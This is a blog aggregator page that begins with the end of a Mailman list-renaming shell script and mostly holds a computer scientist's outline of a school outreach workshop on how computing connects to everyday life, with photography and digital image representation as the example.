test -d /var/lib/mailman/archives/private/${NEW}.mbox/${OLD}.mbox && mv /var/lib/mailman/archives/private/${NEW}.mbox/${OLD}.mbox /var/lib/mailman/archives/private/${NEW}.mbox/${NEW}.mbox && /var/lib/mailman/bin/arch ${NEW} /var/lib/mailman/archives/private/${NEW}.mbox/${NEW}.mbox
newaliases
/var/lib/mailman/bin/genaliases
/etc/init.d/postfix restart
/etc/init.d/mailman start
exit 0
I’m still a nerd.
October 30, 2011 08:40 AM
October 28, 2011
Gail Carmichael
Last week I did a couple of workshops at the Canadian Museum of Science and Technology for National Science and Technology Week. I managed to improve the usual 'computer science connects to everything' theme to be more interactive, and judging by the apparent engagement of the students, it was a success. Below is an outline of what I presented - feel free to adapt it for your own presentation (with some credit to me if you don't mind).
I'm here from
Carleton University to tell you about one of the biggest reasons that I love computer science: it connects to everything! No matter what your interests are, or your passions, there is a problem waiting to be solved and a way to make life easier or better with computing. Even something as creative as photography has a lot to do with computer science, as we'll see later.
My name is Gail Carmichael, and I'm a computer scientist. Of course, that's not all I am. I'm also a PhD student (which means I've been in school for almost ten years since high school!). I do Taekwondo (anyone else into martial arts?) and like to go backpack hiking and work on my garden. And, as you can see, I'm also going to be a mom soon!
(I always make an effort to show the students that just because you are into computers doesn't mean you can't also be into lots of other fun things as well. This time I was also able to talk about becoming a mom, which I think it really important for both the males and females to see. In fact, one of the boys came up to me after the workshop to wish me luck with the baby - how awesome is that??)
I'm also part of a group at Carleton called
Women in Science and Engineering. In fact, I helped start this group a few years ago. I don't know if you all know, but we
still have far too few women in computer science, and we want to fix that. So, ladies in the audience, I encourage you to look into computer science as a possible career if you see anything today that interests you! (Guys, too - we want all the smart people!)
Ok, so let's talk about computer science. Anyone have any ideas of what computer science might be? Or maybe what kinds of things computer scientists do?
(You usually get answers more related to using computers, but you can also often get some good insight into what the field's really about.)
I'll tell you exactly was computer science is about in one second. But first, I want you to all take a minute to brainstorm as long a list as you can of areas of your life where computing is involved. Think of the obvious, like cell phones, to the less obvious, like toasters (yup, even your toaster might have a little computer inside!).
Here are some of the areas I thought of. Some of these are more obvious, like the iPhone and video games. What about some of the others?
(I find the students love giving more ideas on these topics or asking questions about them. Invite interaction here as much as possible.)
Music: You could write software that analyzes music and automatically creates a playing list that would suit our current mood. Or you can try to teach the computer how to create good music from scratch. Medicine: You can use computers to simulate chemical reactions and help us narrow down what sorts of things might be effective in treating particular illnesses. You can also use computers to crunch the huge amounts of data in our DNA, helping us find genetic issues in a person. (Bet you didn't think you'd be able to save lives as a computer scientist, did you?) Video Games: Sometimes we want to provide good entertainment as computer scientists, and making games is one way to do this. You can even study game development as a whole concentration in our computer science program at Carleton! Geography: When's the last time you used Google Maps or a GPS device? There's a lot of computer science happening there, such as when you are finding the most efficient route to your destination. Psychology: If you're interested in the way people think, you can help design technology that makes sense to humans. Math: Computer science can be a very mathematical way of thinking. (But don't worry, you don't have to be a math whiz to do well in this field!) Robotics: We have to program robots to get around without running into things and much more. Education: I want to make games that are both fun and educational. School looks very similar to what our great-great-grandparents experienced, but I think that technology can help change that and make learning more fun and effective!
![[image]](http://mowser.com/img?url=http%3A%2F%2F3.bp.blogspot.com%2F-_N6sISR5plA%2FTqV3Ro0cnUI%2FAAAAAAAADS8%2Fs4pA3j1FGXE%2Fs320%2FSlide3.PNG)
In the end, computer science is really all about solving problems. It's not about programming or software or any of that stuff on its own - these are all just means to the end of making the world better.
(Try to relate the students' answers from earlier into the above discussion.)
What problems are there to solve in photography? How can we improve such a creative practice with technology?
Some of you might remember taking photos with film before digital cameras became standard. Film worked by having an actual chemical reaction to the light that hits it. How do we take a picture digitally?
(If there's time, it's fun to get them guessing how we get from a scene in the world to an image on the computer.
)
Instead of using chemicals that react to light, we can create what's called a digital sensor that can sense what light is hitting it. But how does this translate into what the computer can understand?
Do you know how data on your computer is stored? What everything ends up being in the end? (Answer: numbers! Binary numbers in particular.) Even an image is going to end up as numbers. So we need to translate the light hitting the sensor into numbers somehow.
Let's say I took this photo with my digital camera and I'm looking at it on the computer. What happens if I zoom in really close? (Answer: it gets pixelated, blocky, blurry, etc.)
Our digital sensors are made of grids of pixels as well, and each of these pixels captures the amount of light that hits it. Then we can store this as a number for each pixel on the computer, representing the image.
(At this point, I use images from the CS Unplugged Image Representation activity to demonstrate how this can work with black and white images, and I give them some time to try recreating the pictures on the handout on pg 4 of the PDF. We discuss the pros and cons of the two ways of representing the image - each pixel as its own number or writing out the number of black or white pixels that come in a row - and I emphasize that we often have to consider tradeoffs when solving problems in computer science.)
To conclude, let me say again that computer science is
everywhere. In photography, there are many more problems that computer science helps solve, from organizing and searching through our photos to applying interesting effects to them. Computing touches every part of our lives, from keeping us healthy to keeping us entertained.
October 28, 2011 12:49 PM